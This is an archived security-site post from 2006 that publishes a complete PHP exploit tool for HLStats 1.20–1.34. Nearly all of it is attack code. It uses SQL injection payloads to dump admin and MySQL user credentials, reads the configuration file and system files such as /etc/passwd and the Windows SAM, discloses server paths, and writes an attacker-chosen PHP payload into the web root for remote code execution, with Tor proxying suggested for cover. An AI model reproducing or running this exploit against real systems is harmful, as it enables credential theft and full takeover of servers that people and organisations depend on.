Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:15509
HistoryDec 26, 2006 - 12:00 a.m.

HLStats Remote SQL Injection Exploit

2006-12-2600:00:00
vulners.com
40

Hlstats is more than 5 years old. HLstats has been downloaded more than 270,000 from http://sf.net. Nothing more than absolutely benign XSS has been reported for this application, until NOW.

Merry Christmass,
–Michael Brooks

Homepage:
http://sourceforge.net/projects/hlstats/

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

<br><b>
<?php
/*
Live Exploit Code
SQL Inection + Path Disclosure
Affects HLStats HLStats <=1.34 and Hlstats >= 1.20
works with magic_quotes_gpc=On
by Michael Brooks
*/

print "<title>HLStats SQL Injection Exploit</title>
<body bgcolor='#009900'>
<font color='#FF0000'>
<b>--------------------------------------------------------------------------------------------------------------------------------------------></b><br><br>
<center><b> <br>
Welcome To HLstats Exploit code.<br><br>
</b></center>
<br>
SQL Inection + Path Disclosure<br>
Affects Hlstats >= 1.20 to HLStats <=1.34(current)<br>
Tested on Linux and Windows<br>
works with magic_quotes_gpc=On!<br>
HLStats has gone though 5 years with no exploits so this is a Birthday Present!<br>
Merry Christmass!<br>
By Michael Brooks<br>
<br>
<b>--------------------------------------------------------------------------------------------------------------------------------------------></b><br><br>
";

print "
<form action='".$_SERVER['PHP_SELF']."' method='post'>
<b>Target:</b><br>
<input type='text' name='target' size=32><br>
(hint: where the login form is. example: http://domain.com/path/hlstats.php )<br>
<br><b>Proxy:</b>(ip:port or name:pass@ip:port)<br>
<input type='text' name='proxy' size=32><br>
(example: 127.0.0.1:8118 Use <a href='http://tor.eff.org'>Tor</a>+<a href='http://www.privoxy.org/&#39;&gt;Privoxy&lt;/a&gt;. )<br>
<br><br>
If nothing is changed below this line then the exploit will attempt to get the database login information in plain text.
<b>--------------------------------------------------------------------------------------------------------------------------------------------></b><br><br>
<H1>ATTACKS:</H1>
<br>
<b>Database Selects:</b><br>
<br>
OBTIAN HLStats logins:<br>
<input type='submit' name='button' value='HLStats_Logins'>(Passwords are stored as MD5 hashs, use: <a href='http://www.milw0rm.com/cracker/insert.php&#39;&gt;Milw0rm&#39;s MD5 Cracker</a>)<br>

              OBTIAN mysql.user logins:&lt;br&gt;
            &lt;input type=&#39;submit&#39; name=&#39;button&#39; value=&#39;Mysql_Logins&#39;&gt;&lt;br&gt;
    &lt;br&gt;

    &lt;br&gt;
    &lt;b&gt;File IO:&lt;/b&gt;&lt;br&gt;&lt;br&gt;
    &lt;b&gt;Path Disclosure&lt;/b&gt;&lt;br&gt;
    &lt;input type=&#39;submit&#39; name=&#39;button&#39; value=&#39;Path&#39;&gt;&lt;br&gt;
    &lt;br&gt;
    &lt;b&gt;Plain Text Database Login Information&lt;/b&gt;&lt;br&gt;
    &lt;input type=&#39;submit&#39; name=&#39;button&#39; value=&#39;Read_Login&#39;&gt;
    &#40;This will attempt to read the configuration file for hlstats and dump the PLAIN TEXT database login information.&#41;&lt;br&gt;
    &lt;br&gt;
    &lt;b&gt;Read Other File&lt;/b&gt;&lt;br&gt;
    &lt;input type=&#39;submit&#39; name=&#39;button&#39; value=&#39;Read_File&#39;&gt;
    &lt;input type=&#39;text&#39; name=&#39;read_file&#39; size=50&gt;
    &lt;br&gt;example: /etc/passwd&lt;br&gt;
    OR for windows based systems: C:&#92;&#92;&#92;&#92;WINDOWS&#92;&#92;&#92;&#92;repair&#92;&#92;&#92;&#92;sam&lt;br&gt;
    &lt;br&gt;&lt;b&gt;attempt payload:&lt;/b&gt;&#40;WARNING,  NO PROXY IS USED FOR UPLOADING PAYLOAD&#41;&lt;br&gt;
    &lt;input type=&#39;submit&#39;  name=&#39;button&#39; value=&#39;Upload&#39;&gt;
     &amp;lt?php &lt;input type=&#39;text&#39; name=&#39;payload&#39; size=50&gt;?&amp;gt &lt;br&gt;
    example: system&#40;&#39;netstat&#39;&#41;; &lt;br&gt;
    
    &lt;/form&gt;
    &lt;br&gt;&lt;b&gt;--------------------------------------------------------------------------------------------------------------------------------------------&gt;&lt;/b&gt;&lt;br&gt;
    &quot;;

//generic http class
class http{
var $proxy_ip='', $proxy_port='', $proxy_name='', $proxy_pass='';

    function http_gpc_send&#40;$loc ,$cookie=&quot;&quot;, $postdata = &quot;&quot;&#41; { 
             //overload function polymorphism between gets and posts
             $url=parse_url&#40;$loc&#41;;
             if&#40;!isset&#40;$url[&#39;port&#39;]&#41;&#41;{
               $url[&#39;port&#39;]=80;
            }
            //$ua=$_SERVER[&#39;HTTP_USER_AGENT&#39;];
            $ua=&#39;GPC/.01&#39;;
             if&#40;$this-&gt;proxy_ip!=&#39;&#39;&amp;&amp;$this-&gt;proxy_port!=&#39;&#39;&#41;{
                    $fp = pfsockopen&#40; $this-&gt;proxy_ip, $this-&gt;proxy_port, &amp;$errno, &amp;$errstr, 120 &#41;;
                    $url[&#39;path&#39;]=$url[&#39;host&#39;].&#39;:&#39;.$url[&#39;port&#39;].$url[&#39;path&#39;];
             }else{
                    $fp = fsockopen&#40; $url[&#39;host&#39;], $url[&#39;port&#39;], &amp;$errno, &amp;$errstr, 120 &#41;;
             }
             
             if&#40; !$fp &#41; {
                print &quot;$errstr &#40;$errno&#41;&lt;br&gt;&#92;nn&quot;;
             } else {
                if&#40; $postdata==&#39;&#39; &#41; {
                    fputs&#40; $fp, &quot;GET &quot;.$url[&#39;path&#39;].&quot;?&quot;.$url[&#39;query&#39;].&quot; HTTP/1.1&#92;r&#92;n&quot; &#41;;
                } else {
                    fputs&#40; $fp, &quot;POST &quot;.$url[&#39;path&#39;].&quot;?&quot;.$url[&#39;query&#39;].&quot; HTTP/1.1&#92;r&#92;n&quot; &#41;;
                }
                
                if&#40;$this-&gt;proxy_name!=&#39;&#39;&amp;&amp;$this-&gt;proxy_pass!=&#39;&#39;&#41;{
                    fputs&#40;$fp, &quot;Proxy-Authorization: Basic &quot;.base64_encode&#40;$this-&gt;proxy_name.&quot;:&quot;.$this-&gt;proxy_pass&#41;.&quot;&#92;r&#92;n&#92;r&#92;n&quot;&#41;;
                }

                fputs&#40;$fp, &quot;Host: &quot;.$url[&#39;host&#39;].&quot;:&quot;.$url[&#39;port&#39;].&quot;&#92;r&#92;n&quot;&#41;;
                fputs&#40; $fp, &quot;User-Agent: &quot;.$ua.&quot;&#92;r&#92;n&quot; &#41;;
                fputs&#40; $fp, &quot;Accept: text/plain&#92;r&#92;n&quot; &#41;;
                fputs&#40; $fp,&quot;Connection: Close&#92;r&#92;n&quot; &#41;;
                if&#40;$cookie!=&#39;&#39;&#41;{ 
                    fputs&#40; $fp, &quot;Cookie: &quot;.$cookie.&quot;&#92;r&#92;n&quot; &#41;;
                }
                if&#40; $postdata!=&#39;&#39; &#41; {
                    $strlength = strlen&#40; $postdata &#41;;
                    fputs&#40; $fp, &quot;Content-type: application/x-www-form-urlencoded&#92;r&#92;n&quot; &#41;;
                    fputs&#40; $fp, &quot;Content-length: &quot;.$strlength.&quot;&#92;r&#92;n&#92;r&#92;n&quot; &#41;;
                    fputs&#40; $fp, $postdata&#41;;
                }
                fputs&#40; $fp, &quot;&#92;n&#92;n&quot; &#41;;
                
               $output = &quot;&quot;;
               while&#40; !feof&#40; $fp &#41; &#41; {
                    $output .= fgets&#40; $fp, 1024 &#41;;
               }
                fclose&#40; $fp &#41;;
             }
             return $output;
    }
    
    function proxy&#40;$proxy&#41;{ //user:pass@ip:port
            $proxyAuth=explode&#40;&#39;@&#39;,$proxy&#41;;
            if&#40;isset&#40;$proxyAuth[1]&#41;&#41;{
                    $login=explode&#40;&#39;:&#39;,$proxyAuth[0]&#41;;
                    $this-&gt;proxy_name=$login[0];
                    $this-&gt;proxy_pass=$login[1];
                    
                    $addr=explode&#40;&#39;:&#39;,$proxyAuth[1]&#41;;
                    $this-&gt;proxy_ip=$addr[0];
                    $this-&gt;proxy_port=$addr[1];
            }else{
                    $addr=explode&#40;&#39;:&#39;,$proxy&#41;;
                    $this-&gt;proxy_ip=$addr[0];
                    $this-&gt;proxy_port=$addr[1];
            }
    }
    
    function get&#40;$url, $cookie=&#39;&#39;&#41;{
            return $this-&gt;http_gpc_send&#40;$url, $cookie&#41;;
    }

    function post&#40;$url, $cookie=&#39;&#39;, $post=&#39;&#39;&#41;{
            return $this-&gt;http_gpc_send&#40;$url,$cookie,$post&#41;;
    }
    
    function getServer&#40;$url&#41;{
            $resp=$this-&gt;http_gpc_send&#40;$url&#41;;
            $header=explode&#40;&quot;Server: &quot;,$resp&#41;;
            $server=explode&#40;&quot;&#92;n&quot;,$header[1]&#41;;
            return $server[0];
    }

}

//reuseable functions
function getPath($html){
$path='';
$resp=explode("array given in <b>",$html);
if(isset($resp[1])){
$resp = explode("</b>",$resp[1]);
}else{
$resp[0]=false;
}
return $resp[0];
}

function charEncode($string){
$char="char(";
$size=strlen($string);
for($x=0;$x<$size;$x++){
$char.=ord($string[$x]).", ";
}
$char[strlen($char)-2]=')%00';
return $char;
}

function hex_encode($my_string)
{
$encoded="0x";
for ($k=0; $k<=strlen($my_string)-1; $k++)
{$temp=dechex(ord($my_string[$k]));
if (strlen($temp)==1) {$temp="0".$temp;}
$encoded.=$temp;
}
return $encoded;
}

//hlstats specific functions
function hl_get_sql($resp){
//print htmlspecialchars($resp);
$tmp=explode('<table ',$resp);
array_pop($tmp);
$last=array_pop($tmp);
$tbl=explode('</table>',$last);
$table=$tbl[0];//ITS MY TABLE NOW!
if(strstr($table,'Victim')&&strstr($table,'Times Killed')){
$table=str_replace('border=0','border=1',$table);
$table=str_replace('#002E8A','#000000',$table);
$table=str_replace('#15154D','#CCCCCC',$table);
$table=str_replace('#161652','#CCCCCC',$table);
$table='<table '.$table.'</table>';
}else{
$table=false;
}
return $table;
}

function get_logins($addr){
$http=new http();
$data='';
$resp=$http->get($addr."?mode=playerinfo&player=1&playerdata[lastName][]=1");
$path=getPath($resp);
$readfile=hex_encode($path);
$pay="killLimit=99999%20union%20select%20load_file($readfile),1,1,1,1%20–%20";
$resp=$http->post($addr."?mode=playerinfo&player=1",'',$pay);

    $tmp=explode&#40;&quot;define&#40;&amp;quot;DB_NAME&amp;quot;, &amp;quot;&quot;,$resp&#41;;
    $tmp=explode&#40;&quot;&amp;quot;&quot;,$tmp[1]&#41;;
    $data[db]=$tmp[0];

    $tmp=explode&#40;&quot;define&#40;&amp;quot;DB_USER&amp;quot;, &amp;quot;&quot;,$resp&#41;;
    $tmp=explode&#40;&quot;&amp;quot;&quot;,$tmp[1]&#41;;
    $data[name]=$tmp[0];
    
    $tmp=explode&#40;&quot;define&#40;&amp;quot;DB_PASS&amp;quot;, &amp;quot;&quot;,$resp&#41;;
    $tmp=explode&#40;&quot;&amp;quot;&quot;,$tmp[1]&#41;;
    $data[pass]=$tmp[0];
    
    $tmp=explode&#40;&quot;define&#40;&amp;quot;DB_ADDR&amp;quot;, &amp;quot;&quot;,$resp&#41;;
    $tmp=explode&#40;&quot;&amp;quot;&quot;,$tmp[1]&#41;;
    $data[addr]=$tmp[0];
    
    $tmp=explode&#40;&quot;define&#40;&amp;quot;DB_TYPE&amp;quot;, &amp;quot;&quot;,$resp&#41;;
    $tmp=explode&#40;&quot;&amp;quot;&quot;,$tmp[1]&#41;;
    $data[type]=$tmp[0];
    
    return $data;

}

//The table prefix is needed to union select the hlstats logins
function get_prefix($attack){
$prefix=false;
$http=new http();
//hex_encode is used instead of quote marks
$payload="killLimit=1000%20union%20select%20TABLE_NAME,TABLE_SCHEMA,1,1,1%20from%20information_schema.TABLES%20WHERE%20TABLE_NAME%20LIKE%20".hex_encode("%events_playerplayeractions")."%23";
$resp=$http->post($attack."?mode=playerinfo&player=1",'',$payload);
$mid=explode('events_playerplayeractions',$resp);
if(is_array($mid)){
foreach($mid as $m){
$pre= explode('>',$m);
$fix=array_pop($pre);
if(is_array($prefix)){
if(!in_array($fix,$prefix)){
$prefix[]=trim($fix);
}
}else if($prefix!=$fix){
print($fix);
$prefix[]=trim($fix);
}
}
if(is_array($prefix)){
$v=array_pop($prefix);
if(trim($v)!='0'){//damn that zero!!
array_push($prefix,$v);
}
}
}else{
$prefix=false;
}
return($prefix);
}

if(isset($_REQUEST['target'])&&$_REQUEST['target']!=''){
//this exploit can take its sweet time.
set_time_limit(0);
$http=new http();
$addr=explode('?',$_REQUEST['target']);
$addr=$addr[0];
if(isset($_REQUEST['proxy'])){
$http->proxy($_REQUEST['proxy']);
}

    switch&#40;$_REQUEST[&#39;button&#39;]&#41;{
            case &#39;HLStats_Logins&#39;:
                    $table=false;
                    $prefix=get_prefix&#40;$addr&#41;;
                    //print_r&#40;$prefix&#41;;
                    foreach&#40;$prefix as $pre&#41;{
                            if&#40;!$table&#41;{
                                    print &quot;trying table prefix:$pre&lt;br&gt;&quot;;
                                    //no comments are used in this payload,  instead a second union select is used to finnish the query.
                                    $pay=&quot;killLimit=1000&#37;20union&#37;20select&#37;20username,password,acclevel,1,playerId&#37;20from&#37;20&quot;.$pre.&quot;Users&#37;20UNION&#37;20SELECT&#37;201,1,1,1,1&#37;20FROM&#37;20&quot;.$pre.&quot;Players&#37;20WHERE&#37;201=0&quot;;
                                    $resp=$http-&gt;post&#40;$addr.&quot;?mode=playerinfo&amp;player=1&quot;,&#39;&#39;,$pay&#41;;
                                    $table=hl_get_sql&#40;$resp&#41;;//  
                            }
                    }
                    if&#40;!$table&amp;&amp;@!in_array&#40;&#39;hlstats_&#39;,$prefix&#41;&#41;{//ooah no the exploit has failed so far. 
                                    $pre=&quot;hlstats_&quot;;//try the default prefix
                                    print &quot;trying table prefix:$pre&lt;br&gt;&quot;;
                                    $pay=&quot;killLimit=1000&#37;20union&#37;20select&#37;20username,password,acclevel,1,playerId&#37;20from&#37;20&quot;.$pre.&quot;Users&#37;20UNION&#37;20SELECT&#37;201,1,1,1,1&#37;20FROM&#37;20&quot;.$pre.&quot;Players&#37;20WHERE&#37;201=0&quot;;
                                    $resp=$http-&gt;post&#40;$addr.&quot;?mode=playerinfo&amp;player=1&quot;,&#39;&#39;,$pay&#41;;
                                    $table=hl_get_sql&#40;$resp&#41;;//                     
                    }
                    if&#40;$table&#41;{
                            $table=str_replace&#40;&#39;Victim&#39;,&#39;username&#39;,$table&#41;;
                            $table=str_replace&#40;&#39;Kills per Death&#39;,&#39;playerId&#39;,$table&#41;;
                            $table=str_replace&#40;&#39;Deaths by&#39;,&#39;acclevel&#39;,$table&#41;;
                            $table=str_replace&#40;&#39;Times Killed&#39;,&#39;password&#39;,$table&#41;;
                            $table=str_replace&#40;&#39;Rank&#39;,&#39;Count&#39;,$table&#41;;
                            print &quot;&lt;br&gt;$table&quot;;
                    }
                    break;
            case &#39;Mysql_Logins&#39;:
                    //a comment is used so the table prefix doesn&#39;t have to be known;  this is simpler,  less to go wrong.  
                    $pay=&quot;killLimit=1000&#37;20union&#37;20select&#37;20user,password,File_priv,1,Host&#37;20&#37;20from&#37;20mysql.user&#37;20--&#37;20&quot;;
                    $resp=$http-&gt;post&#40;$addr.&quot;?mode=playerinfo&amp;player=1&quot;,&#39;&#39;,$pay&#41;;
                    $table=hl_get_sql&#40;$resp&#41;;
                    $table=str_replace&#40;&#39;Victim&#39;,&#39;User&#39;,$table&#41;;
                    $table=str_replace&#40;&#39;Kills per Death&#39;,&#39;Host&#39;,$table&#41;;
                    $table=str_replace&#40;&#39;Deaths by&#39;,&#39;File_priv&#39;,$table&#41;;
                    $table=str_replace&#40;&#39;Times Killed&#39;,&#39;Password&#39;,$table&#41;;
                    $table=str_replace&#40;&#39;Rank&#39;,&#39;Count&#39;,$table&#41;;
                    print &quot;&lt;br&gt;$table&quot;;
            break;
            case &#39;Read_File&#39;:
                    $readfile=hex_encode&#40;$_REQUEST[read_file]&#41;;
                    $pay=&quot;killLimit=99999&#37;20union&#37;20select&#37;20load_file&#40;$readfile&#41;,1,1,1,1&#37;20--&#37;20&quot;;
                    $resp=$http-&gt;post&#40;$addr.&quot;?mode=playerinfo&amp;player=1&quot;,&#39;&#39;,$pay&#41;;                   
                    $tmp=explode&#40;&#39;alt=&quot;player.gif&quot;&gt;&lt;b&gt;&#39;,$resp&#41;;
                    $data=explode&#40;&quot;&lt;/font&gt;&quot;,$tmp[1]&#41;;
                    $data=$data[0];
                    //this might be a bad thing:
                    $data=preg_replace&#40;&#39;&lt;br /&gt;&#39;,&#39;&#39;,$data&#41;;
                    print &#39;data&#39;.$data;             
            break;
            case &#39;Path&#39;:
                    $resp=$http-&gt;get&#40;$addr.&quot;?mode=playerinfo&amp;player=1&amp;playerdata[lastName][]=1&quot;&#41;;
                    $path=getPath&#40;$resp &#41;;
                    print &quot;Path Disclosure:$path&lt;br&gt;&quot;;
            break;  
            case &#39;Read_Login&#39;:
                    $data=get_logins&#40;$addr&#41;;
                    foreach&#40;$data as $var=&gt;$val&#41;{
                               $tmp=explode&#40;&#39;&amp;quot&#39;,$val&#41;;
                                    $data[$var]=$tmp[0];
                                    print &quot;&lt;br&gt;&quot;.$var.&quot;:&quot;.$tmp[0];
                    }       
            break;
            case &#39;Upload&#39;:
                    $resp=$http-&gt;get&#40;$addr.&quot;?mode=playerinfo&amp;player=1&amp;playerdata[lastName][]=1&quot;&#41;;
                    $path=getPath&#40;$resp &#41;;
                    $data=get_logins&#40;$addr&#41;;
                    print $path.&quot;&lt;br&gt;&quot;;
                    $tar=explode&#40;&#39;/&#39;,$_REQUEST[&#39;target&#39;]&#41;;
                    $paylink=$tar;
                    array_pop&#40;$paylink&#41;;
                    $paylink=implode&#40;&#39;/&#39;,$paylink&#41;;
                    if&#40;strstr&#40;$path,&#39;:&#39;&#41;&#41;{//if windows
                            print &quot;Windows Sytem&lt;br&gt;&quot;;
                            $temp=explode&#40;&#39;&#92;&#92;&#39;,$path&#41;;
                    }else{//else *nix
                            print &quot;*nix System&lt;br&gt;&quot;;
                            $temp=explode&#40;&#39;/&#39;,$path&#41;;
                    }
                    array_pop&#40;$temp&#41;;
                    $path=implode&#40;&#39;/&#39;,$temp&#41;;
                    mysql_connect&#40;$tar[2],$data[name],$data[pass]&#41; or die&#40;mysql_error&#40;&#41;&#41;;
                    $name=&quot;data&quot;.rand&#40;&#41;;//rand is used so that this attack can be run multiple times.
                    $sql=&quot;SELECT &#39;&lt;?php &quot;.$_REQUEST[payload].&quot;?&gt;&#39; INTO OUTFILE &#39;$path/$name.php&#39;&quot;;
                    print &quot;&lt;br&gt;&lt;a href=&#39;$paylink/$name.php&#39;&gt;&lt;b&gt; Execute Payload &lt;/b&gt;&lt;/a&gt;&quot;;
                    mysql_query&#40;$sql&#41; or die&#40;mysql_error&#40;&#41;&#41;;
            break;
            default:
                    print &#39;No Attack!&#39;;
            break;
    }

}else{
Print "No Target.";
}
?><br>--------------------------------------------------------------------------------------------------------------------------------------------><br>
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.6 (MingW32)

iD8DBQFFi1enhyEDRgETX6IRApvuAJ916+e3HP25HVSaCASKLXdLTTpMRQCfVb5X
B1g0mZ8NVwQ6J7L8J0ge8Ak=
=iZt1
-----END PGP SIGNATURE-----